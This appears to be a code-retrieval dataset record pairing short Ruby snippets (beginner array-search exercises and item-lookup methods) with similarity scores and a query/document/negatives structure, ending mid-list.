"def CompareWords(codeWord, guess, contains, hit, used)\n array = Array.new\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n (0..4).each do |i| # Iterates through 5 times, once for each letter of the words\n if (guess[i] == codeWord[i]) # Checks if the string in guess \n array[i] = \" Hit\"\n hit[i] = guess[i]\n if(contains.include?(guess[i]) == false)\n contains[' '] = guess[i]\n end\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n elsif (codeWord.include?(guess[i])) # Checks if \"codeWord\" includes the letter\n array[i] = \"Near\"\n if(contains.include?(guess[i]) == false)\n contains[' '] = guess[i]\n end\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n else\n array[i] = \"Miss\"\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n end\n end\n return array, contains, hit, used # Returns an array contains 5 values of \" Hit\", \"Near\", \"Miss\" or any combination of the three\nend",
"def find_a(array)\n a_array = []\n a_array = array.select {|item| item.start_with?(\"a\")}\n a_array\nend",
"def find_a(array)\n array.select do |word|\n word[0] == \"a\"\n end\nend",
"def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n if array.include?(\"cheddar\" || \"gouda\" || \"camembert\") == true\n return \"cheddar\" || \"gouda\" || \"camembert\"\n end\nend",
"def find_a(array)\n array.find_all do |words|\n words.start_with?(\"a\")\n end\nend",
"def apple_picker(fruits)\n apple_array = []\n fruits.each do |fruit|\n if fruit == \"apple\"\n apple_array << fruit\n end\n end\n apple_array\nend",
"def find_cool(array)\n new_array = [ ]\n array.each do |x|\n if x.has_value?(\"cool\") == true\n new_array << x\n return new_array\n end\n end\nend",
"def contain_a(arr)\n arr.select do |element|\n element.include?(\"a\")\n end\nend",
"def find_a(array)\n array.select do |word|\n word[0] == \"a\"\n end\nend",
"def find_cool(array)\n array.select {|word| word[:temperature] && word[:temperature] == \"cool\"}\nend",
"def my_array_finding_method(source, thing_to_find)\n found_things_ary = Array.new\n\n source.each do |x|\n if x.to_s.include?(thing_to_find) == true\n found_things_ary.push(x)\n end\n end\n return found_things_ary\nend",
"def silly_talk(sent)\n vowels = \"aeiou\"\n return_array = []\n sent.split(\" \").each do |word|\n if vowels.include?(word[-1])\n return_array << word + word[-1] \n else\n word.each_char.with_index do |char, idx|\n vowels.include?(char) ? (return_array) : () \n end\n end\n word.each_char \n end\nend",
"def find_a(things)\n new_array = []\n things.each do |thing|\n if thing.start_with?(\"a\")\n new_array << thing\n end\n end\n new_array\nend",
"def find_a(array)\n result = []\n array.each do |i|\n if i.start_with?(\"a\") \n result.push(i)\n end \n end \n result\nend",
"def match(array)\n #selects and returns array elements that match condition\n array.select do |array_word|\n #Anagram class word split into characters and sort and compare\n (@word.split(\"\").sort) == (array_word.split(\"\").sort)\n end\n end",
"def find_the_cheese(food)# code an argument here\n # the array below is here to help\n # check if elements in food are included in cheese_types\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n food.find do |i|\n if !cheese_types.include?(i)\n nil\n else\n true\n end\n end\nend",
"def my_array_finding_method(source, thing_to_find)\n ans = source.select {|x| x.to_s.include?(thing_to_find)}\n return ans\nend",
"def match(array_of_words)\n matches = [] #Flag\n anagram_execute = anagram.split(//)\n anagram_execute = anagram_execute.sort!\n array_of_words.each do |possible_match|\n array_of_letters = possible_match.split(//)\n array_of_letters = array_of_letters.sort!\n matches << possible_match if array_of_letters == anagram_execute\n #use truncated, cleaner if statement\n end\n matches #return the matches array\n end",
"def given_letter(array, letter)\n array.select do |value|\n value.upcase[0] === letter.upcase\n end\nend",
"def my_array_finding_method(source, thing_to_find)\n i = 0\n t = 0\n output_array = []\n while i < source.length\n if source[i].to_s.include?(thing_to_find)\n output_array[t] = source[i].to_s\n t += 1\n end\n i +=1\n end\n return output_array\nend",
"def strings_for_select( *_array)\n _array = _array.flatten\n if _array.blank?\n []\n else\n _array.zip _array\n end\n end",
"def select_elements_starting_with_vowel(array)\n vowels = %w(a e i o u)\n array.select do | i |\n vowels.include?(i[0])\n end\nend",
"def contain_a(collections)\n collections.select{|element| element.include?(\"a\")}\nend",
"def my_array_finding_method(source, thing_to_find)\n answer = Array.new\n source.each do |x|\n if x.to_s.include?(thing_to_find)\n answer << x\n end\n end\n p answer\nend",
"def match_letter arr, let\n arr.select { |value| value if value.include? let }\nend",
"def my_array_finding_method(source, thing_to_find)\n new_array = source.select do |element|\n element.to_s.include? thing_to_find\n end\n return new_array\nend",
"def powered_by\n random_and_sane [\n \"Diet Pepsi\",\n \"the funny voice he uses to talk to dogs\",\n \"the love of his life, <a href=\\\"http://thebluesunshine.com/\\\">Lizza</a>\",\n \"hoagies from <a href=\\\"https://foursquare.com/v/sarcones-deli/4a9b035ef964a520fc3320e3\\\">Sarcone's Deli</a>\",\n \"his sweet tooth for #{random_and_sane ['Nerds rope','Mike and Ikes','Peppermint Patties']}\",\n \"any and all potatoes\",\n \"rays of sunshine trickling through his backyard fig tree\"\n ]\n end",
"def find_the_cheese(array)\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n array.find { |cheese| cheese_types.include?(cheese)}\n#array.select{} will go through all elements in the array looking those which match the condition.\n#array.find instead will return the first element that match the condition\nend",
"def find_the_cheese(arr)\n # look through each string\n # return the first string that is a cheese with include?\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n arr.find do |type|\n cheese_types.include?(type)\n end \nend",
"def find_the_cheese(array)\n cheeses = %w[gouda cheddar camembert]\n\n array.find do |cheese_flavor|\n cheeses.include?(cheese_flavor)\n end\nend",
"def get_the_cheese(arr)\n cheeses = ['cheddar', 'gouda', 'cambert']\n arr.find { |x| cheeses.include?(x) }\n end",
"def select_elements_starting_with_vowel(array)\n\t n = ['john', 'david', 'omar', 'fred', 'idris', 'angela']\n\t n.select { |name| name.start_with?('a','e','i','o','u')}\nend",
"def find_the_cheese(array)\n array.find do |cheese|\n cheese == \"cheddar\" || cheese == \"gouda\" || cheese == \"camembert\"\n \n end \n end",
"def named_t\n array = [\"Taylor\", \"Francis\", \"Bella\", \"Tori\", \"Jay\"]\n array.select do |name|\n name.start_with?(\"T\")\n end\nend",
"def get_all_letters_in_array_of_words(array)\n result = []\n array.each do |x|\n for a in 0..(x.length-1) do\n result.push(x[a]) if !result.include?(x[a])\n end\n end\n result.sort\nend",
"def item_searcher(str)\n zombie_apocalypse_supplies = [\"hatchet\", \"rations\", \"water jug\", \"binoculars\",\n \"shotgun\", \"compass\", \"CB radio\", \"batteries\"]\n zombie_apocalypse_supplies.each do |x|\n if x == str\n puts \"yes\"\n else\n puts \"no\"\n end\n end\nend",
"def get_all_letters_in_array_of_words(array)\n\tn =['cat', 'dog', 'fish']\n\tcharacters = n.map { | animal | animal.chars }\n\tcharacters.flatten.sort\nend",
"def match(array)\n array.find_all do |word|\n # split word into arry of letters\n if word.split(\"\").sort == @word.sort\n word\n end\n end\n end",
"def find_the_cheese(foods) # code an argument here\n # the array below is here to help\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n\n cheese_types.find do |cheese|\n foods.include?(cheese)\n end\n\nend",
"def find_the_cheese(strings)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n strings.find do |ingredient|\n cheese_types.include?(ingredient)\n end \nend",
"def girl_or_boy array\n dup_array = []\n array.each do |ele|\n if not dup_array.include? ele\n dup_array.push(ele)\n elsif dup_array.include? ele\n return \"boy\"\n end\n end\n return \"girl\"\nend",
"def find_the_cheese(array)\n\tcheeses = [\"cheddar\", \"gouda\", \"camembert\"]\n\tarray.find {|item| cheeses.include? item}\nend",
"def contain_a(elements)\n elements.select do |element|\n element.include? \"a\"\n end\nend",
"def find_the_cheese(array)\n cheeses = %w(gouda cheddar camembert)\n array.find {|cheese| cheeses.include?(cheese)}\nend",
"def match_letters(player_guess) \n indexes_matched = @word_array.each_index.select { |i| @word_array[i] == player_guess}\n for x in indexes_matched do\n @results[x] = player_guess\n end\n end",
"def contain_a(elements)\n elements.select do |i|\n has_a = []\n if i.chars.include?\"a\" \n has_a.unshift(i)\n end\n end\nend",
"def find_the_cheese(array) \n array.find do |cheese|\n cheese == \"cheddar\" || cheese == \"gouda\" || cheese == \"camembert\"\n end \nend",
"def begins_with_r (tools_array)\n\ntools_array.all? {|word| word[0]==\"r\"}\n\nend",
"def find_the_cheese(array)\n array.find do |cheese| \n cheese == \"cheddar\" || cheese == \"gouda\" || cheese == \"camembert\"\n end \n end"
] |
[
"0.7152421",
"0.6728156",
"0.66312426",
"0.6630551",
"0.6612763",
"0.6591329",
"0.6573575",
"0.65725553",
"0.6512464",
"0.65020436",
"0.64821684",
"0.6460714",
"0.64529634",
"0.64365506",
"0.639186",
"0.63915336",
"0.6374461",
"0.635798",
"0.6351547",
"0.63234234",
"0.6316446",
"0.6316446",
"0.6304393",
"0.62911516",
"0.627662",
"0.6259357",
"0.6249611",
"0.6245457",
"0.6228968",
"0.62218314",
"0.6216565",
"0.6207224",
"0.6174449",
"0.61690223",
"0.6166511",
"0.61598426",
"0.61550987",
"0.61386466",
"0.6112706",
"0.61107147",
"0.60933745",
"0.6087458",
"0.60715026",
"0.60469025",
"0.60372925",
"0.60219944",
"0.6020925",
"0.60178995",
"0.6002032",
"0.598884",
"0.59781694",
"0.5972263",
"0.59496266",
"0.59161854",
"0.59137964",
"0.5913623",
"0.59079",
"0.59029925",
"0.5898768",
"0.58980954",
"0.5893441",
"0.5891478",
"0.5882896",
"0.58755696",
"0.58705264",
"0.5869521",
"0.58680946",
"0.5864853",
"0.5862913",
"0.585618",
"0.58542764",
"0.58487344",
"0.5847363",
"0.5837195",
"0.5831405",
"0.582847",
"0.5827478",
"0.581552",
"0.58089316",
"0.58045536",
"0.57764727",
"0.5766582",
"0.5766141",
"0.575909",
"0.5756569",
"0.5750988",
"0.5748025",
"0.5735983",
"0.5730826",
"0.57294923",
"0.5726688",
"0.57225883",
"0.5720374",
"0.5718273",
"0.5704049",
"0.5698802",
"0.56957406",
"0.5689751",
"0.56886137",
"0.5686408"
] |
0.6759249
|
1
|
API method should be derived from the class name. eg: Host => "host.get"
|
def api_method
@_api_method ||= "#{method_from_class_name}.get"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def method\n self.class.name.split('::').last || ''\n end",
"def class_name method_name\n segments = method_name.split('::')\n return segments[0..-2].join('::') if segments.count > 1\n \"Object\"\nend",
"def sanitize_api_class( controller )\n controller.name.split(\"::\").last\n end",
"def method_missing(m,params={})\n get url(m.to_s.camelize,params)\n end",
"def method_missing(method_id, params = {})\n request(method_id.id2name.gsub(/_/, '.'), params)\n end",
"def method_missing(name, *arguments)\n str_name = name.to_s\n\n if str_name =~ /\\w+\\?/ && Types::NAMES.include?(str_name.chop)\n klass_name = str_name.sub(/\\?/, '').capitalize\n self.class.class_name == klass_name\n else\n raise NoMethodError, \"undefined method: #{name}\"\n end\n end",
"def action\n self.class.name.split(\"::\").last.tap do |class_name|\n class_name[0] = class_name[0].downcase\n end\n end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def method_name; end",
"def resource\n self.class.to_s.split('::').last.downcase\n end",
"def to_sym\n self.class.endpoint_name.to_sym\nend",
"def specialize_method_name( name )\n return \"#{name}#{self.class.name.split(\"::\")[-1].gsub(/[A-Z]/){|s| \"_#{s.downcase}\"}}\".intern\n end",
"def method_missing(method_name, *args)\n call_api_method(method_name, *args)\n end",
"def http_method\n raise \"Implement in child class\"\n end",
"def method_missing(method, *args)\n api_obj.send(method, *args)\n end",
"def method_missing(method_name, params = {})\n component, *action = method_name.to_s.split('__')\n component = component.to_sym\n action = !action.empty? && action.join(\"__\").to_sym\n\n if action\n if components[component]\n # only actions starting with \"endpoint_\" are accessible\n endpoint_action = action.to_s.index('__') ? action : \"_#{action}_ep_wrapper\"\n component_instance(component).send(endpoint_action, params)\n else\n component_missing(component)\n end\n else\n super\n end\n end",
"def api_name\n to_s.split('::').last.gsub(/[^\\A]([A-Z])/, '_\\\\1').downcase\n end",
"def method_missing(m, *args)\n\n if m.to_s.eql?('describe')\n self.client.describe\n elsif m.to_s.eql?('search')\n self.client.search(args[0])\n else\n #todo We need to add a list of available 'methods' here to gut check\n begin\n self.client.find(m.to_s, args[0])\n rescue\n super\n end\n end\n\n end",
"def method_name\n\n end",
"def method_name\n\n end",
"def method_name\n\n end",
"def method_missing(method, *args)\n if (service = method.to_s.match(/^(ip|vlm|dns)_(site|subnet6?|pool6?|address6?|alias6?|domain|range|vlan|server|view|zone|rr)_(add|update|info|list|delete|count)$/))\n r_module, r_object, r_action = service.captures\n\n if (@servicemapper.has_key?(service.to_s))\n r_mapped_service = @servicemapper[service.to_s][0]\n end\n\n # case r_action with add, update, list, delete, count to set r_method\n case r_action\n when 'add'\n r_method = 'post'\n when 'update'\n r_method = 'put'\n when 'delete'\n r_method = 'delete'\n else\n r_method = 'get'\n end\n\n self.call(r_method, r_mapped_service, args)\n else\n super\n end\n end",
"def name\n \"#{@method_name}(#{self.class.name})\"\n end",
"def method_missing(*args)\n result = nil\n orig = args.shift\n class_sym = self.class.name.to_sym\n m = orig.to_s[0,5] == '_DAV_' ? orig : \"_DAV_#{orig}\" # If hell is doing the same thing over and over and expecting a different result this is a hell preventer\n raise NoMethodError.new(\"Undefined method: #{orig} for class #{self}.\") unless respond_to?(m)\n @runner.call(class_sym, :before, orig)\n result = send m, *args\n @runner.call(class_sym, :after, orig)\n result\n end",
"def method_missing(method_name, *args)\n payload = Kauplus::Client.authenticate_payload(args.first)\n if method_name.match(/(get|post|multipart_post|put|delete|head)_(.*)/)\n Kauplus::Client.send($1, \"#{@resource}/#{$2}\", payload)\n else\n Kauplus::Client.get(\"#{@resource}/#{method_name}\", payload)\n end\n end",
"def api_method\n ''\n end",
"def method_missing(sym, *args)\n ret_val = get_val(sym.to_s)\n if ret_val.nil? && @rally_rest.rally_rest_api_compat\n ret_val = get_val(camel_case_word(sym))\n end\n ret_val\n end",
"def type; self.class.name.split('::').last.to_sym; end",
"def http_method\n METHODS[self[:method]]\n end",
"def method_missing(method)\n\t\t self[method]\n\t\tend",
"def service(symbol)\n \"#{self.class}::#{symbol.to_s.camelcase}\".constantize\n end",
"def to_class_name\n self.to_method_name.gsub(/\\/(.?)/) { \"#{$1.upcase}\" }.gsub(/(?:^|_)(.)/) { $1.upcase }\n end",
"def name\n \"#{self.class.name}::#{@method_name}()\"\n end",
"def http_method\n @http_method.to_s.upcase\n end",
"def service_name\n raise \"please implement #service_name in your subclass #{self.class}\"\n end",
"def get_api_method\n return if params[:action] == 'index' && params[:controller] == 'api/docs'\n begin\n # load the parent module (e.g. EOL::Api::Search) to get the default version\n method_class = \"EOL::Api::#{params[:action].camelize}\".constantize\n rescue => e\n render_error(\"Invalid method: #{params[:action]}\")\n return nil\n end\n\n begin\n # load the proper version of the API method (e.g. EOL::Api::Search::V1_0)\n params[:version] ||= method_class::DEFAULT_VERSION\n @api_method = \"#{method_class}::V#{params[:version].tr('.', '_')}\".constantize\n rescue => e\n render_error(\"Invalid version: #{params[:version]}\")\n return nil\n end\n return @api_method\n end",
"def get_resource_class\n \tresource_name.classify.constantize\n end",
"def api_model\n api_model_nane.constantize\n end",
"def method_missing(meth, *args, &block)\n retrieve(meth.to_s)\n end",
"def sanitize_method_name( name )\n name.to_s.camelize\n end",
"def method name\n\t\t\"- (void) API_#{name}_get_success:(void (^)(RKMappingResult *))success fail:(void (^)(NSError *))failure\"\n\tend",
"def name\n self.class.name.split(\"::\").last.downcase\n end",
"def format\n self.class.name.split('::').last.downcase.to_sym\n end",
"def fabricate(action_name)\n Ethon::Easies::Http.const_get(action_name.to_s.capitalize)\n end",
"def method_name\n return @method_name if defined? @method_name\n\n @method_name = protocol_name.downcase.sub(/::/, '_')\n end",
"def underscorized_classname\n self.class.name.split(\"::\").last.\n gsub( /([A-Z]+)([A-Z][a-z])/, '\\1_\\2' ).\n gsub( /([a-z\\d])([A-Z])/, '\\1_\\2' ).downcase\n end",
"def net_class(method) # :nodoc:\n Net::HTTP.const_get(method)\n end",
"def method_missing(name, *args)\n api_method = get_api_method(name)\n\n if api_method\n call_api_method(api_method, *args)\n else\n super(name, *args)\n end\n end",
"def thing\n controller_name.classify.constantize\n end",
"def public_class_method(*rest) end",
"def endpoint_name\n self.class.endpoint_name\n end",
"def method_missing(method, *args)\n self[method]\n end",
"def get(name)\n send(name)\n end",
"def method\n @method\n end",
"def method\n @method\n end",
"def name\n self.class.to_s.gsub(/controller$/i, \"\")\n end",
"def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end",
"def method_missing(method, *args)\n class_for_number(args[0]).public_send(method, *args)\n end",
"def method_missing(method_name, params = {})\n widget, *action = method_name.to_s.split('__')\n widget = widget.to_sym\n action = !action.empty? && action.join(\"__\").to_sym\n \n if action\n if aggregatees[widget]\n # only actions starting with \"api_\" are accessible\n api_action = action.to_s.index('__') ? action : \"api_#{action}\"\n aggregatee_instance(widget).send(api_action, params)\n else\n aggregatee_missing(widget)\n end\n else\n super\n end\n end",
"def api_create_url\n \"#{self.name.split(\"::\").last.downcase}\"\n end",
"def method\n env[:method].to_s.upcase\n end",
"def method\n @method\n end",
"def method_missing(method_id, *params)\n _request(method_id.to_s.sub('_api', ''), *params)\n end",
"def method_missing(name, *args, &block)\n @klass.send(name, *args, &block)\n end",
"def method_missing(name, *args, &blk)\n to_s.send(name, *args, &blk)\n end",
"def retrieve\n provider.send(self.class.name)\n end",
"def name\n self.class.name.downcase\n end",
"def method(name)\n component.method(name.to_sym)\n end",
"def name\n self.class.to_s.split('::').last\n end",
"def resource_class\n (self.class.name.split('::').last || '').downcase\n end",
"def name\n self.class.name.split('::').last\n end",
"def /(other_class)\n other_class\n end",
"def intersys_method(name)\n Method.new(database, class_name, name.to_s, self)\n end",
"def method_missing(method, *args)\r\n self.class.method_missing(method, *args)\r\n end",
"def api_controller_name\n self.class.api_controller_name || model_name.pluralize\n end",
"def classify\n name = nil\n method = \"Default Adapter\"\n \n if classify_by_known_hosts?\n method = \"Known Hosts\"\n name = host_lookup\n end\n \n if name.nil?\n if classify_by_server_responses?\n method = \"Greeting Response\"\n name = greeting_lookup\n \n if name.nil?\n method = \"Bye Response\"\n name = bye_lookup\n end\n end\n end\n \n if name.nil?\n if classify_by_server_capabilities?\n method = \"Capability Values\"\n name = capability_lookup\n end\n end\n \n if !name.nil? && GlobalConfig.verbose\n puts \"DEBUG: <#{name}> classified by <#{method}>\"\n end\n \n return name\n end",
"def request_method(verb)\n Net::HTTP.const_get(verb.to_s.capitalize)\n end",
"def method_missing(method, *args, &block)\n klass = class_for_api_command(method)\n\n return klass.new(@socket).send(method, *args, &block) if klass\n super(method, *args, &block)\n end",
"def method_name\r\n method_info[:method_name]\r\n end",
"def signature\n \"#{klass_name}#{method_name}\"\n end",
"def method_missing(method, *args)\n send(method, *args)\n end",
"def dispatch(type)\n self.send(@PREFIX+type)\n end",
"def method_missing(method, *args) #:nodoc:\n self[method]\n end",
"def method_missing(name, *args)\n options = args.first\n options = {} unless options.kind_of?(Hash)\n method_name = toCamel(name)\n get(options.merge(:method => method_name))\n end",
"def method_missing(meth, *args)\n meth = meth.to_s\n meth.sub!(/^high_five:/, '')\n # if (!meth.match(/:/))\n # meth = \"high_five:#{meth}\"\n # end\n super meth, *args\n end",
"def method_missing(method_name, *arguments, &block)\n # if user tried to query existing space or content type, return it to him\n switch_space(method_name) || \\\n entries_by_content_type(method_name) || \\\n error(method_name.to_s)\n end",
"def method_missing(service_name, params = {})\n # remove user-friendly underscores from service names\n service_name = service_name.to_s.gsub('_', '')\n\n if respond_to?(service_name)\n send(service_name, params)\n else\n request(service_name, params)\n end\n end",
"def class_name; end",
"def class_name; end",
"def object_name\n self.class.name.underscore.split('/').last.sub(/_controller$/, '').singularize\n end"
] |
[
"0.6901805",
"0.6729382",
"0.6533643",
"0.64508957",
"0.6434392",
"0.640022",
"0.63625926",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62706524",
"0.62278336",
"0.6224658",
"0.6210295",
"0.6197932",
"0.6164675",
"0.61450887",
"0.612548",
"0.6112563",
"0.61073035",
"0.6084451",
"0.6084451",
"0.6084451",
"0.6082184",
"0.60753715",
"0.6073114",
"0.60415065",
"0.60393",
"0.6037743",
"0.6029965",
"0.60280246",
"0.60269284",
"0.602574",
"0.6021162",
"0.60136396",
"0.5994833",
"0.5994197",
"0.5991874",
"0.5978184",
"0.5956474",
"0.5932735",
"0.59262085",
"0.59221256",
"0.5919087",
"0.591869",
"0.59123546",
"0.5912241",
"0.59036255",
"0.5891806",
"0.5886507",
"0.58685637",
"0.58677816",
"0.58676374",
"0.5867503",
"0.5852582",
"0.58475906",
"0.58475906",
"0.5844052",
"0.5843847",
"0.5843847",
"0.58333683",
"0.58330286",
"0.5826966",
"0.582599",
"0.5822735",
"0.582046",
"0.58191127",
"0.58173436",
"0.58159244",
"0.5813744",
"0.58014005",
"0.57874507",
"0.5786953",
"0.5777258",
"0.5776148",
"0.5774423",
"0.57697606",
"0.57670027",
"0.57648647",
"0.57489604",
"0.5748391",
"0.5746741",
"0.574517",
"0.5743001",
"0.57391226",
"0.57385206",
"0.573524",
"0.5731816",
"0.5727987",
"0.5723411",
"0.5723411",
"0.5716252"
] |
0.7395332
|
0
|
returns a single item
|
def find(value)
key = \
if value.to_s =~ /^[0-9\.]*$/
default_search_param + "id"
else
default_search_param
end
where(key => value).first
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def item\n @item ||= item_class.where(id: item_id).first if item_class\n end",
"def item(id)\n Item.find(id)\n end",
"def first_item\n items.first\n end",
"def first\n @items.first\n end",
"def get_single_item(item_id, payload = {})\n payload = payload.merge('ItemID' => item_id)\n request('GetSingleItem', payload)\n end",
"def item; @item; end",
"def item; @item; end",
"def get(item)\n @items[item]\n end",
"def item\n $data_items[1]\n end",
"def item_by_id(id)\n @items[id]\n end",
"def get_item(index)\n # TODO\n end",
"def get_item\n @item = Item.find_by_id(params[:id])\n if @item\n return @item\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The item could not be found!\"}}\n end\n end",
"def item\n item_type.name.classify.constantize.find(item_id)\n end",
"def findItem\n item = Item.find(params[:id])\n if item\n return item\n else\n return render json: {data: \"Failure, could not find this item.\"}, status: :not_found\n end\n end",
"def get_item(index)\n @get_items[index]\n end",
"def get_item_from_body(body)\n get_item_from_result(body.fetch('Item', {}))\n end",
"def get_item name\n if (@listOfItem)\n @listOfItem.select do |item|\n item.product.name == name\n end.first\n else\n puts \"@listOfItem is null, so can't get an item from this\"\n end\n end",
"def item(index = self.index)\n return @data[index]\n end",
"def item(uuid)\n http.get \"/items/#{uuid}\"\n end",
"def first\n items.compact.first\n end",
"def first\n\n @items.values.first\n end",
"def item\n fetch('sword_art_online.item')\n end",
"def item; end",
"def item; end",
"def item; end",
"def item; end",
"def item; end",
"def first_item\n @children[@items.first]\n end",
"def item\n @item = Item.find(params[:id])\n end",
"def fetch_item(item_id)\n fail \"Missing id\" if item_id.nil?\n fail \"No such item id: #{item_id}\" unless @items.member?(item_id.to_i)\n @items.fetch(item_id.to_i)\n end",
"def get_item(id, options = {})\n\t\t\tif (id.is_a?(Hash))\n\t\t\t\toptions = id\n\t\t\telse\n\t\t\t\toptions.merge!(:item_id => id)\n\t\t\tend\n\t\t\t\n\t\t\toptions = merge_defaults(options)\n\t\t\toptions.delete(:realm)\n\t\t\t\n\t\t\tinfo = get_xml(@@item_info_url, options)\n\t\t\ttooltip = get_xml(@@item_tooltip_url, options)\n\t\t\t\n\t\t\tif (info%'itemInfo'%'item') && !tooltip.nil?\n\t\t\t\treturn Wowr::Classes::FullItem.new(info%'itemInfo'%'item', tooltip%'itemTooltip', self)\n\t\t\telse\n\t\t\t\traise Wowr::Exceptions::ItemNotFound.new(options[:item_id])\n\t\t\tend\n\t\tend",
"def get_item(id, options = {})\n\t\t\tif (id.is_a?(Hash))\n\t\t\t\toptions = id\n\t\t\telse\n\t\t\t\toptions.merge!(:item_id => id)\n\t\t\tend\n\t\t\t\n\t\t\toptions = merge_defaults(options)\n\t\t\toptions.delete(:realm)\n\t\t\t\n\t\t\tinfo = get_xml(@@item_info_url, options)\n\t\t\ttooltip = get_xml(@@item_tooltip_url, options)\n\t\t\t\n\t\t\tif (info%'itemInfo'%'item') && !tooltip.nil?\n\t\t\t\treturn Wowr::Classes::FullItem.new(info%'itemInfo'%'item', tooltip%'itemTooltip', self)\n\t\t\telse\n\t\t\t\traise Wowr::Exceptions::ItemNotFound.new(options[:item_id])\n\t\t\tend\n\t\tend",
"def item;\n @item;\n end",
"def get_item(index)\r\n @list[index]\r\n end",
"def item(name)\n __item(name)\n end",
"def find_item_by_id(id)\n\n @items.each do |item|\n return item if item.item_id == id\n end\n return nil\n end",
"def get_item(key)\n self[key]\n end",
"def item\n @data[@index];\n end",
"def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end",
"def item\n return $data_items[@item_id] if @item_type == 0\n return $data_weapons[@item_id] if @item_type == 1\n return $data_armors[@item_id] if @item_type == 2\n end",
"def item(index = self.index)\n @data[index]\n end",
"def [](id)\n @items[id]\n end",
"def find item\n\tend",
"def show\n @item = find_item(params[:id])\n end",
"def get_item(list_item_idx)\n @list[list_item_idx]\n end",
"def fetch_item(id, api_url=ANN_API_URL)\n\t\tbatch_items([id], api_url).first\n\tend",
"def find_item\n @item = Item.new(query_service.find_by(id: params[:id]).symbolize_keys)\n end",
"def find_item(selected_item)\n return find(selected_item)\n end",
"def show \n \t@item = Item.find(params[:id])\n end",
"def get_item_at(position)\n # TODO Stubbed - Required definition and implementation\n end",
"def item; @data[self.index]; end",
"def item(index)\n each_with_index { |item, ix| return item if index == ix } && nil\n end",
"def get_item_at(position)\n # TODO Stubbed - Required definition and implementation\n end",
"def item; @data[@index]; end",
"def _one_item(func, data = nil, resource_id = nil)\n url = resource_id.nil? ? @path : detail_url(resource_id)\n\n obj_data = @api_request.send(\n func,\n url,\n data,\n nil,\n self,\n resource_id\n )\n\n @object_item_class.new(obj_data, self)\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def show\n @item = Item.find(params[:id])\n end",
"def find_item(reference)\n\t\t@items.detect{|i| i.reference == reference}\n\tend",
"def get_item(item_name)\n return @menu[item_name]\n end",
"def find_item(item)\n md5 = ItemBuilder.md5(item)\n items.find { |e| e[0] == md5 } if items\n end",
"def first_titem\n @first_titem ||= titems.first\n end",
"def find(id)\n fail(ArgumentError, \"Missing id/slug\") unless id\n\n result = access_token.get(\"#{API_BASE}#{self.class::API_PATH}#{id}\")\n fail(ArgumentError, \"Bad request\") unless result.code == \"200\"\n\n self.class::ITEM_CLASS.new(result.body)\n end",
"def find_content_item\n\t\t\tif params[:id]\n\t\t\t\t@content_item = ContentItem.find(params[:id])\n\t\t\telsif params[:name]\n\t\t\t\t@content_item = ContentItem.safe_find_by_name(params[:name])\n\t\t\t\t@missing = @content_item.missing\n\t\t\telse\n\t\t\t\t@content_item = ContentItem.safe_find_by_name(\"content_missing\")\n\t\t\tend\n\t\t\treturn @content_item\n\t\tend",
"def get(item)\n if values = @items[item]\n values[:value]\n end\n end",
"def find_item(purchase_or_id)\n raise NotImplementedError\n end",
"def first; self.objects.first end",
"def get(item)\n run(\"show #{ item }\")\n end",
"def getItem\n Product.select(:product).find(params[:id])\n end",
"def get(item_type, item_id)\n all(item_type).detect { |item| item[:id].to_i == item_id.to_i }\n end",
"def one_if(item, options = nil)\n one(item, options) if item\n end",
"def current_item\n items[current_row]\n end",
"def one\n if size == 0\n raise \"Could not find any records\"\n elsif size > 1\n raise \"Search returned multiple records when only one was expected\"\n else\n first\n end\n end",
"def [](index)\n return @items[index]\n end",
"def article_from_item(item)\n articles.select{ |article| article.item.equal?(item) }.first\n end",
"def item_from_uuid(id)\n @items.find { |i| i[:id].to_s == id } || raise(\"Unable to resolve item for uuid '#{id}'\")\n end",
"def find(item_name)\n @inventory.find(item_name)\n end",
"def [](key)\n return @item[key]\n end",
"def [](key)\n item = Item.first(:feed_url => @url, :guid => key) \n item.content rescue nil\n end",
"def find(id, type = :full)\n case type\n when :full\n response = JSON.parse(@client.get(\"items/#{id}\").body)\n Promisepay::Item.new(@client, response['items'])\n when :status\n response = JSON.parse(@client.get(\"items/#{id}/status\").body)\n Promisepay::Item.new(@client, response['items'])\n end\n end",
"def show\n @item=Item.find(params[:id])\n end",
"def item\n @list[@index][:symbol];\n end",
"def item_identity(item)\n # noinspection RubyMismatchedReturnType\n [self, self.class].find do |obj|\n %i[sid_value id_value].find do |meth|\n result = obj.try(meth, item) and return result\n end\n end\n end",
"def item_id\n id\n end",
"def get_item(user, item)\r\n position = user.get_position(item)\r\n x = user.show_item(position)\r\n self.add_item(x)\r\n user.give_away_item(position)\r\n end",
"def item\n case item_type\n when 'group'\n group\n end\n end",
"def item\n case item_type\n when 'group'\n group\n end\n end",
